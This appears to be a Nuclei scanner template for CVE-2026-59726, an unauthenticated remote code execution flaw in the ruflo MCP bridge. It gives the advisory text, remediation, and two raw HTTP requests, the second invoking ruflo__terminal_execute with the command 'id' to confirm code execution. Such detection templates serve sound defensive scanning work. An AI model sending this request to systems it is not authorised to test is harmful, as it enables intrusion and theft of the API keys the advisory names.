id: CVE-2026-59726 info: name: ruflo MCP Bridge - Unauthenticated RCE via terminal_execute author: DhiyaneshDk severity: critical description: | ruflo MCP bridge (< 3.16.3) in its default docker-compose deployment exposes POST /mcp with no authentication and binds to all interfaces (0.0.0.0:3001). The executeTool() function has no server-side deny list for dangerous tools, allowing an unauthenticated attacker to invoke tools/call with ruflo__terminal_execute, which runs execSync(command) on attacker-supplied input. This yields arbitrary command execution as the node user (uid 1000) inside the bridge container. The blocklist (AUTOPILOT_BLOCKED_PATTERNS + isBlockedTool()) is enforced only in the autopilot SSE handler; POST /mcp and POST /mcp/:group bypass it entirely. impact: | Unauthenticated remote code execution. An attacker can read provider API keys (OPENAI_API_KEY, ANTHROPIC_API_KEY, etc.) from the container environment, spawn attacker-controlled swarms on victim keys, and persist poisoned patterns into AgentDB. remediation: | Upgrade ruflo to version 3.16.3 or later which adds DANGEROUS_TOOLS gate in executeTool(), bearer auth middleware (MCP_AUTH_TOKEN), loopback bind by default (BIND_HOST=127.0.0.1), and MCP_ENABLE_TERMINAL opt-in. As interim mitigation, firewall port 3001 and set MCP_AUTH_TOKEN in docker-compose.yml. reference: - https://github.com/ruvnet/ruflo/security/advisories/GHSA-c4hm-4h84-2cf3 - https://nvd.nist.gov/vuln/detail/CVE-2026-59726 - https://www.pruva.dev/reproductions/REPRO-2026-00315 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-59726 epss-score: 0.03019 epss-percentile: 0.87348 cwe-id: CWE-78 metadata: verified: true max-request: 2 vendor: ruvnet product: ruflo tags: cve,cve2026,ruflo,mcp,rce,unauth,ghsa flow: http(1) && http(2) http: - raw: - | POST /mcp HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"jsonrpc":"2.0","method":"tools/list","id":1} matchers: - type: dsl dsl: - 'contains(body, "terminal_execute")' - 'status_code == 200' condition: and internal: true - raw: - | POST /mcp HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"jsonrpc":"2.0","method":"tools/call","id":1,"params":{"name":"ruflo__terminal_execute","arguments":{"command":"id"}}} matchers: - type: dsl dsl: - 'contains_all(body, "uid=", "gid=", "exitCode")' - 'status_code == 200' condition: and extractors: - type: regex group: 0 regex: - 'uid=[0-9]+\([a-z]+\)' # digest: 4a0a004730450220365eaf424f4c7a7af7318d29f8d68f53a760c975a9967c026d97b4733d4559920221008b9dff25507c9d42c8542a201b9ceec20f9b6e0b0f6c67d609581c34f33b9c54:922c64590222798bb761d5b6d8e72950